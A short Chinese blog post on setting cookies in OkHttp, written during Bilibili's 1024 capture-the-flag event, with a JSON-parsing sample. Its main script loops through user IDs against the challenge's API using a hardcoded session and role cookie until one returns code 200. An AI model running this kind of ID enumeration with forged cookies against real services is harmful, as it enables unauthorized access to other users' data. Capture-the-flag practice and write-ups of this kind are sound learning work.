OkHttp添加Cookie

此文产生的缘由:陪舍友玩Bilibili的1024活动

根据前两张图的提示写出了下面的代码

后面利用JSONObject提取JSON中的字段,当Status Code200时,提取所需字段。参考了这篇文章

1
2
<!--Bilibili API返回的JSON-->
{"code":"403","data":"","msg":""}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
// JSONObject如何使用
import java.io.File;
import java.io.IOException;

import org.apache.commons.io.FileUtils;
import org.json.JSONArray;
import org.json.JSONObject;

public class JSONObjectSample {

public static void main(String[] args) throws IOException {
File file = new File("src/main/java/demo.json");
String content = FileUtils.readFileToString(file);
//对基本类型的解析
JSONObject obj = new JSONObject(content);
System.out.println("name:" + obj.getString("name"));
System.out.println("sex:" + obj.getString("sex"));
System.out.println("age" + obj.getInt("age"));
System.out.println("is_student" + obj.getBoolean("is_student"));
//对数组的解析
JSONArray hobbies = obj.getJSONArray("hobbies");
System.out.println("hobbies:");
for (int i = 0; i < hobbies.length(); i++) {
String s = (String) hobbies.get(i);
System.out.println(s);
}
}
}

应该有用的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
public class sbbilibili {

public static void main(String[] args) throws IOException {
OkHttpClient client = new OkHttpClient();


for (int id = 100336889; ; id++) {
Request request2 = new Request.Builder()
.url("http://45.113.201.36/api/ctf/5?uid=" + id)
.addHeader("Cookie", "session =eyJ1aWQiOiI0NDY2MDM4In0.X5PbJw.BXm98XWQA-fY;" +
"role=ee11cbb19052e40b07aac0ca060c23ee")
.build();
Response response = client.newCall(request2).execute();
System.out.println(id);
String content = response.body().string();
//System.out.println(content);

try {
JSONObject jsonObject = new JSONObject(content);
int id1 = jsonObject.getInt("code");
if (id1 == 200) {
System.out.println(jsonObject.getString("data"));
break;
}
} catch (JSONException e) {
e.printStackTrace();
}

}
}
}

参考资料:

  1. bilibili网络安全挑战
  2. 来 分享点过关秘籍失效连接